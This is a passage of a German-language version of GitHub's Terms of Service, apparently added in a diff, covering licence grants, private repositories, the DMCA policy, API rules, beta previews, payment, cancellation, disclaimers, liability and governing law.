+Da Sie das Eigentum an und die Verantwortung für Ihre Inhalte behalten, müssen Sie uns – und anderen GitHub Nutzern – bestimmte gesetzliche Genehmigungen erteilen, die in den Abschnitten D.4 bis D.7 aufgeführt sind. Diese Lizenzgewährungen gelten für Ihre Inhalte. Wenn Sie Inhalte hochladen, die bereits mit einer Lizenz bereitgestellt werden, die GitHub die erforderlichen Berechtigungen zum Ausführen unseres Dienstes erteilt, ist keine zusätzliche Lizenz erforderlich. Sie nehmen zur Kenntnis, dass Sie keine Zahlung für eines der in den Abschnitten D.4 bis D.7 gewährten Rechte erhalten. Die Lizenzen, die Sie uns gewähren, enden, wenn Sie Ihre Inhalte von unseren Servern entfernen, es sei denn, andere Nutzer haben sie geforkt.
+
+### 4. Lizenzgewährung an uns
+Wir benötigen das gesetzliche Recht, Dinge zu tun, wie Ihre Inhalte zu hosten, zu veröffentlichen und zu teilen. Sie gewähren uns und unseren Rechtsnachfolgern das Recht, Ihre Inhalte zu speichern, zu archivieren, zu analysieren und anzuzeigen sowie gelegentliche Kopien anzufertigen, sofern dies zur Bereitstellung des Dienstes erforderlich ist, einschließlich der Verbesserung des Dienstes im Laufe der Zeit. Diese Lizenz beinhaltet das Recht, Aufgaben auszuführen wie Ihre Inhalte in unsere Datenbank zu kopieren und Sicherungskopien zu erstellen; sie Ihnen und anderen Nutzern anzuzeigen; sie in einen Suchindex zu zerlegen oder anderweitig auf unseren Servern zu analysieren; sie mit anderen Nutzern zu teilen; und sie auszuführen, falls es sich beispielsweise um Musik oder Videos handelt.
+
+Diese Lizenz gewährt GitHub nicht das Recht, Ihre Inhalte zu verkaufen. Sie gewährt GitHub auch nicht das Recht, Ihre Inhalte außerhalb unserer Bereitstellung des Dienstes anderweitig zu verteilen oder zu verwenden, mit der Ausnahme, dass GitHub im Rahmen des Rechts zur Archivierung Ihrer Inhalte unseren Partnern gestatten kann, Ihre Inhalte in Verbindung mit dem [GitHub Arctic Code Vault und dem GitHub Archive Program](https://archiveprogram.github.com/) in öffentlichen Repositories zu speichern und zu archivieren.
+
+### 5. Lizenzgewährung an andere Nutzer
+Alle Nutzergenerierten Inhalte, die Sie öffentlich posten, einschließlich Problemen, Kommentaren und Beiträgen zu den Repositories anderer Nutzer, können von anderen eingesehen werden. Indem Sie festlegen, dass Ihre Repositories öffentlich einsehbar sind, erklären Sie sich damit einverstanden, dass andere Ihre Repositories anzeigen und „forken“ können (das bedeutet, dass andere ihre eigenen Kopien von Inhalten aus Ihren Repositories in von ihnen kontrollierten Repositories erstellen können).
+
+Wenn Sie Ihre Seiten und Repositories öffentlich einsehbar einstellen, gewähren Sie jedem Nutzer von GitHub eine nicht ausschließliche, weltweite Lizenz zur Nutzung, Anzeige und Ausführung Ihrer Inhalte über den GitHub Dienst und zur Vervielfältigung Ihrer Inhalte ausschließlich auf GitHub, wie dies durch die Funktionen von GitHub zulässig ist (z. B. durch Forking). Sie können weitere Rechte einräumen, wenn Sie [eine Lizenz annehmen](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Wenn Sie Inhalte hochladen, die Sie nicht erstellt haben oder deren Eigentümer Sie nicht sind, sind Sie dafür verantwortlich, sicherzustellen, dass die von Ihnen hochgeladenen Inhalte unter Bedingungen lizenziert sind, die anderen GitHub Nutzern diese Berechtigungen gewähren.
+
+### 6. Beiträge unter Repository-Lizenz
+Immer wenn Sie Inhalte zu einem Repository hinzufügen, die einen Lizenzhinweis enthalten, lizenzieren Sie diese Inhalte unter denselben Bedingungen und stimmen zu, dass Sie das Recht haben, diese Inhalte unter diesen Bedingungen zu lizenzieren. Wenn Sie eine separate Vereinbarung zur Lizenzierung dieser Inhalte unter anderen Bedingungen haben, wie z. B. eine Lizenzvereinbarung für Beitragende, hat diese Vereinbarung Vorrang.
+
+Funktioniert das nicht schon so? Ja, das stimmt. Dies wird in der Open-Source-Community weithin als Norm akzeptiert; es wird allgemein mit der Abkürzung „inbound=outbound“ bezeichnet. Wir stellen es nur noch einmal klar.
+
+### 7. Urheberpersönlichkeitsrechte
+Sie behalten alle Urheberpersönlichkeitsrechte an Ihren Inhalten, die Sie in irgendeinem Teil des Dienstes hochladen, veröffentlichen oder dorthin übermitteln, einschließlich der Rechte auf Integrität und Namensnennung. Sie verzichten jedoch auf diese Rechte und erklären sich damit einverstanden, sie nicht gegenüber uns geltend zu machen, damit wir in der Lage sind, die in Abschnitt D.4 gewährten Rechte angemessen auszuüben, aber nicht anderweitig.
+
+Soweit diese Vereinbarung nach geltendem Recht nicht durchsetzbar ist, gewähren Sie GitHub die Rechte, die wir benötigen, um Ihre Inhalte ohne Namensnennung zu verwenden und angemessene Anpassungen Ihrer Inhalte vorzunehmen, soweit dies erforderlich ist, um die Website und den Dienst bereitzustellen.
+
+## E. Private Repositories
+**Kurzfassung:** *Wir behandeln den Inhalt privater Repositories vertraulich und greifen nur wie in unserer Datenschutzerklärung beschrieben darauf zu – aus Sicherheitsgründen, um den Eigentümer des Repositories bei einer Support-Angelegenheit zu unterstützen, um die Integrität des Dienstes zu wahren, um unseren gesetzlichen Verpflichtungen nachzukommen, wenn wir Grund zu der Annahme haben, dass die Inhalte gegen geltendes Recht verstoßen, oder mit Ihrer Zustimmung.*
+
+### 1. Kontrolle über private Repositories
+Einige Konten verfügen möglicherweise über private Repositories, die es dem Nutzer ermöglichen, den Zugriff auf Inhalte zu kontrollieren.
+
+### 2. Vertraulichkeit privater Repositories
+GitHub betrachtet die Inhalte privater Repositories als Ihr vertrauliches Eigentum. GitHub schützt die Inhalte privater Repositories vor unbefugter Nutzung, unbefugtem Zugriff oder Offenlegung in der gleichen Weise, die wir zum Schutz unserer eigenen vertraulichen Informationen ähnlicher Art anwenden würden, und in keinem Fall mit weniger als einem angemessenen Maß an Sorgfalt.
+
+### 3. Zugriff
+GitHub Mitarbeiter dürfen nur in den in unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement#repository-contents) beschriebenen Situationen auf die Inhalte Ihrer privaten Repositories zugreifen.
+
+Sie können entscheiden, zusätzlichen Zugriff auf Ihre privaten Repositories zu ermöglichen. Beispiel:
+- Sie können verschiedene GitHub Dienste oder Funktionen aktivieren, die zusätzliche Rechte an Ihren Inhalten in privaten Repositories erfordern. Diese Rechte können je nach Dienst oder Funktion variieren, aber GitHub wird Ihre privaten Repository-Inhalte weiterhin vertraulich behandeln. Wenn diese Dienste oder Funktionen zusätzlich zu den für die Bereitstellung des GitHub Dienstes nötigen Rechten weitere Rechte erfordern, werden wir eine Erläuterung dieser Rechte bereitstellen.
+
+Darüber hinaus können wir [gesetzlich dazu verpflichtet sein](/github/site-policy/github-privacy-statement#for-legal-disclosure), den Inhalt Ihrer privaten Repositories offenzulegen. 
+
+GitHub informiert über unseren Zugriff auf private Repository-Inhalte, es sei denn es geht um [rechtliche Offenlegung](/github/site-policy/github-privacy-statement#for-legal-disclosure), um unseren gesetzlichen Verpflichtungen nachzukommen, oder wenn anderweitig gesetzlich vorgeschrieben, für automatisiertes Scannen oder als Reaktion auf eine Sicherheitsbedrohung oder ein anderes Sicherheitsrisiko.
+
+## F. Urheberrechtsverletzung und DMCA-Richtlinie
+Wenn Sie glauben, dass Inhalte auf unserer Website Ihr Urheberrecht verletzen, kontaktieren Sie uns bitte gemäß unserer [Richtlinie zum Digital Millennium Copyright Act](/articles/dmca-takedown-policy/). Wenn Sie ein Urheberrechtsinhaber sind und glauben, dass Inhalte auf GitHub Ihre Rechte verletzen, kontaktieren Sie uns bitte über [unser praktisches DMCA-Formular](https://github.com/contact/dmca) oder per E-Mail an copyright@github.com. Das Versenden einer falschen oder leichtfertigen Takedown-Notice kann rechtliche Konsequenzen nach sich ziehen. Bevor Sie einen Takedown-Antrag senden, müssen Sie legale Verwendungen wie angemessene Verwendung und lizenzierte Verwendungen berücksichtigen.
+
+Wir werden die Konten von [Wiederholungstäter](/articles/dmca-takedown-policy/#e-repeated-infringement) im Sinne dieser Richtlinie kündigen.
+
+## G. Hinweis zu Rechten an geistigem Eigentum
+**Kurzfassung:** *Wir sind Eigentümer des Dienstes und aller unserer Inhalte. Damit Sie unsere Inhalte verwenden können, gewähren wir Ihnen bestimmte Rechte daran, aber Sie dürfen unsere Inhalte nur auf die von uns erlaubte Weise verwenden.*
+
+### 1. Rechte von GitHub an Inhalten
+GitHub und unsere Lizenzgeber, Verkäufer, Vertreter und/oder unsere Inhaltsanbieter behalten das Eigentum an allen geistigen Eigentumsrechten jeglicher Art in Bezug auf die Website und den Dienst. Wir behalten uns alle Rechte vor, die Ihnen nicht ausdrücklich im Rahmen dieser Vereinbarung oder gesetzlich gewährt werden. Das Erscheinungsbild der Website und des Dienstes ist urheberrechtlich geschützt: © GitHub, Inc. Alle Rechte vorbehalten. Sie dürfen ohne ausdrückliche schriftliche Genehmigung von GitHub keinen Teil der HTML/CSS-, Javascript- oder visuellen Designelemente oder -konzepte duplizieren, kopieren oder wiederverwenden.
+
+### 2. Marken und Logos von GitHub
+Wenn Sie Marken von GitHub verwenden möchten, müssen Sie alle unsere Markenrichtlinien befolgen, einschließlich derer auf unserer Logoseite: https://github.com/logos.
+
+### 3. Lizenz für GitHub Richtlinien
+Diese Vereinbarung ist unter dieser [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. Einzelheiten finden Sie in unserem [Site-Policy Repository](https://github.com/github/site-policy#license).
+
+## H. API-Bestimmungen
+**Kurzfassung:** *Sie stimmen diesen Nutzungsbedingungen sowie diesem Abschnitt H zu, wenn Sie eine der APIs (Application Provider Interface) von GitHub verwenden, einschließlich der Verwendung der API über ein Drittanbieterprodukt, das auf GitHub zugreift.*
+
+Missbrauch oder übermäßig häufige Anfragen an GitHub über die API können zur vorübergehenden oder dauerhaften Sperrung des Zugriffs Ihres Kontos auf die API führen. GitHub wird nach eigenem Ermessen den Missbrauch oder die übermäßige Nutzung der API feststellen. Wir werden einen angemessenen Versuch unternehmen, Sie vor der Sperrung per E-Mail zu warnen.
+
+Sie dürfen API-Token nicht teilen, um die Ratenbeschränkungen von GitHub zu überschreiten.
+
+Sie dürfen die API nicht verwenden, um Daten oder Inhalte von GitHub für Spamming-Zwecke herunterzuladen, einschließlich zum Zweck des Verkaufs der personenbezogenen Daten von GitHub Nutzern, wie z. B. an Personalvermittler, Headhunter und Jobbörsen.
+
+Jegliche Nutzung der GitHub API unterliegt diesen Nutzungsbedingungen und der [GitHub Datenschutzerklärung](https://github.com/site/privacy).
+
+GitHub bietet möglicherweise abonnementbasierten Zugriff auf unsere API für diejenigen Nutzer an, die Zugriff mit hohem Durchsatz oder Zugriff benötigen, der zu einem Weiterverkauf des Dienstes von GitHub führen würde.
+
+## I. Zusätzliche Produktbestimmungen von GitHub
+**Kurzfassung:** *Sie müssen bestimmte spezifische Geschäftsbedingungen für die verschiedenen Funktionen und Produkte von GitHub befolgen, und Sie stimmen den Ergänzenden Geschäftsbedingungen zu, wenn Sie dieser Vereinbarung zustimmen.*
+
+Einige Dienstfunktionen können zusätzlichen Bedingungen unterliegen, die für diese Funktion oder dieses Produkt spezifisch sind, wie in den Zusätzlichen Produktbestimmungen von GitHub dargelegt. Durch den Zugriff auf oder die Nutzung der Dienste stimmen Sie auch den [Zusätzliche Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms) zu.
+
+## J. Beta-Vorschauen
+**Kurzfassung:** *Beta-Vorschauen werden möglicherweise nicht unterstützt oder können sich jederzeit ändern. Sie können über diese Programme vertrauliche Informationen erhalten, die vertraulich bleiben müssen, solange das Programm privat ist. Wir würden uns über Ihr Feedback freuen, um unsere Beta-Vorschauen zu verbessern.*
+
+### 1. Änderungen vorbehalten
+
+Beta-Vorschauen werden möglicherweise nicht unterstützt und können jederzeit ohne Vorankündigung geändert werden. Zudem unterliegen Beta-Vorschauen nicht denselben Sicherheitsmaßnahmen und Prüfungen, denen der Dienst unterzogen wurde und wird. **Wenn Sie eine Beta-Vorschau verwenden, verwenden Sie diese auf eigenes Risiko.**
+
+### 2. Vertraulichkeit
+
+Als Nutzer der Beta-Vorschau erhalten Sie möglicherweise Zugriff auf spezielle Informationen, die dem Rest der Welt nicht zur Verfügung stehen. Aufgrund der sensiblen Natur dieser Informationen ist es uns wichtig sicherzustellen, dass Sie diese Informationen geheim halten.
+
+**Vertraulichkeitsverpflichtungen.** Sie stimmen zu, dass alle nicht öffentlichen Beta-Vorschau-Informationen, die wir Ihnen geben, etwa Informationen zu einer privaten Beta-Vorschau, als vertrauliche Informationen von GitHub (zusammen „Vertrauliche Informationen“) gelten, unabhängig davon, ob sie als solche gekennzeichnet oder markiert sind. Sie erklären sich damit einverstanden, solche Vertraulichen Informationen nur für den ausdrücklichen Zweck des Testens und Bewertens der Beta-Vorschau (der „Zweck“) und nicht für andere Zwecke zu verwenden. Sie sollten das gleiche Maß an Sorgfalt wie bei Ihren eigenen vertraulichen Informationen walten lassen, aber nicht weniger als die angemessenen Vorkehrungen treffen, um eine unbefugte Nutzung, Offenlegung, Veröffentlichung oder Verbreitung unserer Vertraulichen Informationen zu verhindern. Sie versprechen, keine vertraulichen Informationen an Dritte weiterzugeben, zu veröffentlichen oder zu verbreiten, es sei denn, wir verbieten oder beschränken eine solche Weitergabe nicht (z. B. wenn Sie Teil einer von GitHub organisierten Gruppendiskussion über eine private Beta-Vorschaufunktion sind). ).
+
+**Ausnahmen.** Zu den Vertraulichen Informationen gehören nicht Informationen, die: (a) ohne Verletzung dieser Vereinbarung durch keine Handlung oder Unterlassung Ihrerseits öffentlich verfügbar sind oder werden (z. B. wenn eine private Beta-Vorschau zu einer öffentlichen Beta-Vorschau wird); (b) Ihnen bekannt sind, bevor wir sie Ihnen offenlegen; (c) unabhängig von Ihnen ohne Verletzung einer Vertraulichkeitsverpflichtung uns oder Dritten gegenüber entwickelt wurden; oder (d) mit Genehmigung von GitHub offengelegt werden. Sie werden nicht gegen die Bedingungen dieser Vereinbarung verstoßen, wenn Sie verpflichtet sind, Vertrauliche Informationen gemäß geltendem Recht offenzulegen, vorausgesetzt, GitHub wurde eine angemessene Vorankündigung schriftlich mitgeteilt, um Einwände zu erheben, es sei denn, dies ist gesetzlich verboten. 
+
+### 3. Rückmeldung
+
+Wir sind stets bemüht, unsere Produkte und Dienste zu verbessern, und Ihr Feedback als Nutzer von Beta-Vorschauen wird uns dabei helfen. Wenn Sie uns Ideen, Know-how, Algorithmen, Code-Beiträge, Vorschläge, Verbesserungsanfragen, Empfehlungen oder sonstiges Feedback zu unseren Produkten oder Dienstleistungen (zusammen „Feedback“) geben, erkennen Sie an und stimmen zu, dass GitHub über eine gebührenfreie, vollständig bezahlte, weltweite, übertragbare, unterlizenzierbare, unwiderrufliche und unbefristete Lizenz zur Implementierung, Verwendung, Änderung, kommerziellen Nutzung und/oder Integration des Feedbacks in unsere Produkte, Dienste und Dokumentation verfügt.
+
+## K. Zahlung
+**Kurzfassung:** *Sie sind für alle Gebühren im Zusammenhang mit Ihrer Nutzung von GitHub verantwortlich. Wir sind dafür verantwortlich, Ihnen diese Gebühren klar und genau mitzuteilen und Sie frühzeitig zu informieren, wenn sich diese Preise ändern.*
+
+### 1. Preise
+Unsere Preise und Zahlungsbedingungen finden Sie unter [github.com/pricing](https://github.com/pricing). Wenn Sie einem Abonnementpreis zustimmen, bleibt dieser für die Dauer der Zahlungsfrist Ihr Preis; am Ende einer Zahlungsfrist können sich die Preise jedoch ändern.
+
+### 2. Upgrades, Downgrades und Änderungen
+- Wir stellen Ihnen sofort eine Rechnung, wenn Sie vom kostenlosen Plan auf einen kostenpflichtigen Plan upgraden.
+- Wenn Sie von einem monatlichen Abrechnungsplan zu einem jährlichen Abrechnungsplan wechseln, stellt GitHub Ihnen zum nächsten monatlichen Abrechnungsdatum ein ganzes Jahr in Rechnung.
+- Wenn Sie auf eine höhere Servicestufe upgraden, stellen wir Ihnen den aktualisierten Plan sofort in Rechnung.
+- Sie können Ihr Servicelevel jederzeit ändern, indem Sie [eine Planoption auswählen](https://github.com/pricing) oder in Ihren [Abrechnungseinstellungen](https://github.com/settings/billing). Wenn Sie sich für ein Downgrade Ihres Kontos entscheiden, verlieren Sie möglicherweise den Zugriff auf Inhalte, Funktionen oder Kapazität Ihres Kontos. Im Abschnitt zu [Auflösung](#l-cancellation-and-termination) finden Sie Informationen darüber, wie Sie eine Kopie dieser Inhalte erhalten.
+
+### 3. Abrechnungsplan; Keine Rückerstattung
+**Zahlung auf Planbasis** Bei monatlichen oder jährlichen Zahlungsplänen wird der Dienst monatlich bzw. jährlich im Voraus in Rechnung gestellt und ist nicht erstattungsfähig. Es gibt keine Rückerstattungen oder Gutschriften für angebrochene Dienstmonate, Downgrade-Rückerstattungen oder Rückerstattungen für ungenutzte Monate bei einem offenen Konto; der Dienst bleibt jedoch für die Dauer des bezahlten Abrechnungszeitraums aktiv. Im Sinne der Gleichbehandlung werden keine Ausnahmen gemacht.
+
+**Nutzungsbasierte Zahlung** Einige Dienstfunktionen werden basierend auf Ihrer Nutzung abgerechnet. Eine begrenzte Anzahl dieser Dienstfunktionen kann für eine begrenzte Laufzeit ohne zusätzliche Kosten in Ihrem Plan enthalten sein. Wenn Sie kostenpflichtige Dienstfunktionen erwerben, die über die in Ihrem Plan enthaltene Menge hinausgehen, zahlen Sie für diese Dienstfunktionen basierend auf Ihrer tatsächlichen Nutzung im vorangegangenen Monat. Die monatliche Zahlung für diese Käufe wird regelmäßig rückwirkend in Rechnung gestellt. Nähere Informationen finden Sie in den [Zusätzlichen Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms).
+
+**Mit Rechnung** Nutzer, die auf Rechnung kaufen, erklären sich damit einverstanden, die Gebühren vollständig und im Voraus ohne Abzug oder Verrechnung jeglicher Art in US-Dollar zu zahlen. Der Nutzer muss die Gebühren innerhalb von dreißig (30) Tagen nach dem GitHub Rechnungsdatum bezahlen. Gemäß dieser Vereinbarung zu zahlende Beträge sind nicht erstattungsfähig, sofern in dieser Vereinbarung nichts anderes bestimmt ist. Wenn der Nutzer Gebühren nicht rechtzeitig zahlt, behält sich GitHub das Recht vor, zusätzlich zu anderen rechtlichen oder billigkeitsrechtlichen Maßnahmen (i) Zinsen auf überfällige Beträge in Höhe von 1,0 % pro Monat oder dem höchsten gesetzlich zulässigen Zinssatz zu berechnen, je nachdem, welcher Wert niedriger ist, und alle Kosten für die Beitreibung in Rechnung zu stellen sowie (ii) das entsprechende Bestellformular zu kündigen. Der Nutzer ist allein verantwortlich für alle Steuern, Gebühren, Zölle und behördlichen Veranlagungen (mit Ausnahme von Steuern, die auf dem Nettoeinkommen von GitHub basieren), die im Zusammenhang mit dieser Vereinbarung erhoben werden oder fällig werden.
+
+### 4. Autorisierung
+Indem Sie diesen Bedingungen zustimmen, erteilen Sie uns die Erlaubnis, Ihre hinterlegte Kreditkarte, Ihr PayPal-Konto oder andere genehmigte Zahlungsmethoden mit Gebühren zu belasten, die Sie für GitHub autorisieren.
+
+### 5. Verantwortung für die Zahlung
+Sie sind für alle Gebühren, einschließlich Steuern, im Zusammenhang mit Ihrer Nutzung des Dienstes verantwortlich. Durch die Nutzung des Dienstes erklären Sie sich damit einverstanden, GitHub alle Gebühren zu zahlen, die im Zusammenhang mit Ihrer Nutzung des Dienstes anfallen.  Wenn Sie die Angelegenheit anfechten, wenden Sie sich an den [GitHub Support](https://support.github.com/contact?tags=docs-policy). Sie sind dafür verantwortlich, uns ein gültiges Zahlungsmittel für kostenpflichtige Konten zur Verfügung zu stellen. Für kostenlose Konten müssen keine Zahlungsinformationen angegeben werden.
+
+## L. Auflösung und Kündigung
+**Kurzfassung:** *Sie können Ihr Konto jederzeit schließen. In diesem Fall gehen wir verantwortungsbewusst mit Ihren Daten um.*
+
+### 1. Kontoauflösung
+Es liegt in Ihrer Verantwortung, Ihr Konto bei GitHub ordnungsgemäß zu kündigen. Sie können [Ihr Konto jederzeit auflösen](/articles/how-do-i-cancel-my-account/), indem Sie in der globalen Navigationsleiste oben auf dem Bildschirm zu Ihren Einstellungen gehen. Der Kontobildschirm bietet einen einfachen Kündigungslink, bei dem keine Fragen gestellt werden. Wir können Konten nicht als Antwort auf eine E-Mail- oder Telefonanfrage auflösen.
+
+### 2. Bei Auflösung
+Wir werden Ihre Informationen nach Bedarf aufbewahren und verwenden, um unseren gesetzlichen Verpflichtungen nachzukommen, Streitigkeiten beizulegen und unsere Vereinbarungen durchzusetzen, aber vorbehaltlich gesetzlicher Anforderungen werden wir Ihr vollständiges Profil und den Inhalt Ihrer Repositories innerhalb von 90 Tagen nach Auflösung oder Kündigung löschen (wobei jedoch einige Informationen in verschlüsselten Backups verbleiben können). Diese Informationen können nicht wiederhergestellt werden, nachdem Ihr Konto aufgelöst wurde.
+
+Wir werden keine Inhalte löschen, die Sie zu den Repositories anderer Nutzer beigetragen haben oder die andere Nutzer geforkt haben.
+
+Auf Anfrage werden wir angemessene Anstrengungen unternehmen, um einem Kontoinhaber nach der Auflösung, Kündigung oder Herabstufung des Kontos eine Kopie seiner rechtmäßigen, nicht verletzenden Kontoinhalte zur Verfügung zu stellen. Sie müssen diese Anfrage innerhalb von 90 Tagen nach Auflösung, Kündigung oder Herabstufung stellen.
+
+### 3. GitHub ist zur Kündigung berechtigt
+GitHub hat das Recht, Ihren Zugriff auf die gesamte oder einen Teil der Website jederzeit mit oder ohne Angabe von Gründen, mit oder ohne Vorankündigung mit sofortiger Wirkung auszusetzen oder zu beenden. GitHub behält sich das Recht vor, jedem den Dienst jederzeit und ohne Angabe von Gründen zu verweigern.
+
+### 4. Fortgeltung
+Alle Bestimmungen dieser Vereinbarung, die ihrer Natur nach die Beendigung überdauern sollten, *gelten nach Kündigung fort*, einschließlich, aber nicht beschränkt auf: Eigentumsbestimmungen, Gewährleistungsausschlüsse, Entschädigung und Haftungsbeschränkungen.
+
+## m. Kommunikation mit GitHub
+**Kurzfassung:** *Wir verwenden ausschließlich E-Mail und andere elektronische Mittel, um mit unseren Nutzern in Kontakt zu bleiben.*
+
+### 1. Elektronische Kommunikation erforderlich
+Für Vertragszwecke (1) willigen Sie ein, von uns Mitteilungen in elektronischer Form über die von Ihnen angegebene E-Mail-Adresse oder über den Dienst zu erhalten; und (2) stimmen zu, dass alle Nutzungsbedingungen, Vereinbarungen, Mitteilungen, Offenlegungen und andere Mitteilungen, die wir Ihnen elektronisch bereitstellen, alle gesetzlichen Anforderungen erfüllen, die diese Mitteilungen erfüllen würden, wenn sie auf Papier wären. Dieser Abschnitt berührt nicht Ihre unverzichtbaren Rechte.
+
+### 2. Rechtliche Hinweise an GitHub müssen schriftlich erfolgen
+Mitteilungen, die per E-Mail oder über das Nachrichtensystem des GitHub Supports erfolgen, stellen keine rechtliche Mitteilung an GitHub oder seine leitenden Angestellten, Mitarbeiter, Erfüllungsgehilfen oder Vertreter dar, wenn eine Mitteilung an GitHub vertraglich oder durch Gesetze oder Vorschriften erforderlich ist. Rechtliche Hinweise an GitHub bedürfen der Schriftform und müssen dem [gesetzlichen Vertreter von GitHub zugestellt werden](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+
+### 3. Kein Telefonsupport
+GitHub bietet nur Support per E-Mail, In-Service-Kommunikation und elektronische Nachrichten. Wir bieten keinen telefonischen Support an.
+
+## N. Ausschluss von Gewährleistungen
+**Kurzfassung:** *Wir bieten unseren Dienst so an, wie er ist, und wir geben keine Zusicherungen oder Garantien für diesen Dienst. Bitte lesen Sie diesen Abschnitt sorgfältig durch; Sie sollten wissen, was Sie erwartet.*
+
+GitHub stellt die Website und den Dienst „wie besehen“ und „wie verfügbar“ ohne Gewährleistung jeglicher Art zur Verfügung. Ohne dies einzuschränken, lehnen wir ausdrücklich alle Gewährleistungen, ob ausdrücklich, stillschweigend oder gesetzlich, in Bezug auf die Website und den Dienst ab, einschließlich, aber nicht beschränkt auf Gewährleistung der Marktgängigkeit, der Eignung für einen bestimmten Zweck, des Eigentums, der Sicherheit, der Richtigkeit und der Nichtverletzung von Rechten Dritter.
+
+GitHub gewährleistet nicht, dass der Dienst Ihre Anforderungen erfüllt; dass der Dienst ununterbrochen, zeitnah, sicher oder fehlerfrei ist; dass die über den Dienst bereitgestellten Informationen genau, zuverlässig oder korrekt sind; dass Mängel oder Fehler behoben werden; dass der Dienst zu einer bestimmten Zeit oder an einem bestimmten Ort verfügbar ist; oder dass der Dienst frei von Viren oder anderen schädlichen Komponenten ist. Sie übernehmen die volle Verantwortung und die Verlustrisiken, die sich aus dem Herunterladen und/oder der Verwendung von Dateien, Informationen, Inhalten oder anderem Material, das vom Dienst bezogen wird, durch Sie ergeben.
+
+## O. Haftungsbeschränkung
+**Kurzfassung:** *Wir haften nicht für Schäden oder Verluste, die sich aus Ihrer Nutzung oder Unfähigkeit zur Nutzung des Dienstes oder anderweitig aus dieser Vereinbarung ergeben. Bitte lesen Sie diesen Abschnitt sorgfältig durch; er schränkt unsere Verpflichtungen Ihnen gegenüber ein.*
+
+Sie verstehen und stimmen zu, dass wir weder Ihnen noch Dritten gegenüber für entgangenen Gewinn, Nutzung, Geschäftswerte oder Daten oder für zufällige, indirekte, spezielle, Folge- oder exemplarische Schäden haftbar sind, die sich aus Folgendem ergeben:
+
+- Verwendung, Offenlegung oder Anzeige Ihrer Nutzergenerierten Inhalte;
+- Nutzung oder Unfähigkeit zur Nutzung des Dienstes durch Sie;
+- jede Änderung, Preisänderung, Aussetzung oder Einstellung des Dienstes;
+- dem Dienst im Allgemeinen oder der Software oder Systeme, die den Dienst verfügbar machen;
+- unbefugtem Zugriff auf oder Änderungen Ihrer Übermittlungen oder Daten;
+- Äußerungen oder Verhalten Dritter auf dem Dienst;
+- allen übrigen Nutzerinteraktionen, die Sie durch Ihre Nutzung des Dienstes eingeben oder erhalten; oder
+- allen übrigen Angelegenheiten im Zusammenhang mit dem Dienst.
+
+Unsere Haftung ist beschränkt, unabhängig davon, ob wir über die Möglichkeit solcher Schäden informiert wurden oder nicht, und selbst wenn sich herausstellt, dass ein in dieser Vereinbarung festgelegter Rechtsbehelf seinen wesentlichen Zweck verfehlt hat. Wir übernehmen keine Haftung für Ausfälle oder Verzögerungen aufgrund von Angelegenheiten, die außerhalb unserer angemessenen Kontrolle liegen.
+
+## P. Haftungsfreistellung und Schadenersatz
+**Kurzfassung:** *Sie sind für Ihre Nutzung des Dienstes verantwortlich. Wenn Sie jemand anderem Schaden zufügen oder mit jemand anderem in Streit geraten, sind wir nicht beteiligt.*
+
+Wenn Sie eine Streitigkeit mit einem oder mehreren Nutzern haben, erklären Sie sich damit einverstanden, GitHub von allen Ansprüchen, Forderungen und Schäden (tatsächliche und Folgeschäden) jeder Art und Natur, bekannt und unbekannt, freizustellen, die sich aus solchen Streitigkeiten ergeben.
+
+Sie erklären sich damit einverstanden, uns von allen Ansprüchen, Verbindlichkeiten und Ausgaben, einschließlich Anwaltskosten, die sich aus Ihrer Nutzung der Website und des Dienstes ergeben, schad- und klaglos zu halten und zu verteidigen, einschließlich, aber nicht beschränkt auf Ihre Verletzung dieser Vereinbarung, vorausgesetzt, dass GitHub (1) Sie unverzüglich schriftlich über die Forderung, Klage oder das Verfahren informiert; (2) Ihnen die alleinige Kontrolle über die Verteidigung und Beilegung der Forderung, Klage oder des Verfahrens gibt (mit der Maßgabe, dass Sie nicht berechtigt sind, Forderungen, Klagen oder Verfahren beizulegen, es sei denn, die Beilegung entbindet GitHub bedingungslos von jeglicher Haftung); und (3) Ihnen auf Ihre Kosten jede angemessene Unterstützung bietet.
+
+## Q. Änderungen an diesen Nutzungsbedingungen
+**Kurzfassung:** *Wir möchten, dass unsere Nutzer über wichtige Änderungen an unseren Bedingungen informiert werden, aber einige Änderungen sind nicht so wichtig. Wir möchten Sie nicht jedes Mal belästigen, wenn wir einen Tippfehler korrigieren. Obwohl wir diese Vereinbarung jederzeit ändern können, werden wir Nutzer über alle wesentlichen Änderungen informieren und Ihnen Zeit geben, sich darauf einzustellen.*
+
+Wir behalten uns das Recht vor, diese Nutzungsbedingungen nach eigenem Ermessen jederzeit zu ändern und werden diese Nutzungsbedingungen im Falle solcher Änderungen aktualisieren. Wir benachrichtigen unsere Nutzer mindestens 30 Tage vor dem Inkrafttreten der Änderung über wesentliche Änderungen an dieser Vereinbarung, indem wir auf unserer Website eine Mitteilung veröffentlichen oder eine E-Mail an die primäre E-Mail-Adresse senden, die in Ihrem GitHub Konto angegeben ist. Die fortgesetzte Nutzung des Dienstes durch den Kunden nach diesen 30 Tagen stellt eine Zustimmung zu diesen Änderungen an dieser Vereinbarung dar. Bei allen anderen Änderungen gilt die fortgesetzte Nutzung der Website durch Sie als Zustimmung zu unseren Änderungen dieser Nutzungsbedingungen. Sie können alle Änderungen an diesen Bedingungen in unserem Repository für [Website-Richtlinien](https://github.com/github/site-policy) einsehen.
+
+Wir behalten uns ungeachtet des Vorstehenden das Recht vor, die Website (oder einen Teil davon) von Zeit zu Zeit mit oder ohne Vorankündigung vorübergehend oder dauerhaft zu ändern oder einzustellen.
+
+## R. Sonstiges
+
+### 1. Anwendbares Recht
+Sofern das geltende Recht es nichts anderes vorsieht, unterliegen diese Vereinbarung zwischen Ihnen und GitHub und jeder Zugriff auf oder jede Nutzung von der Website oder des Dienstes den Bundesgesetzen der Vereinigten Staaten von Amerika und den Gesetzen des Staates Kalifornien ohne Rücksicht auf Kollisionsnormen. Sie und GitHub stimmen zu, sich der ausschließlichen Zuständigkeit und dem ausschließlichen Gerichtsstand der Gerichte in der Stadt und im Landkreis San Francisco, Kalifornien, zu unterwerfen.
+
+### 2. Nichtübertragbarkeit
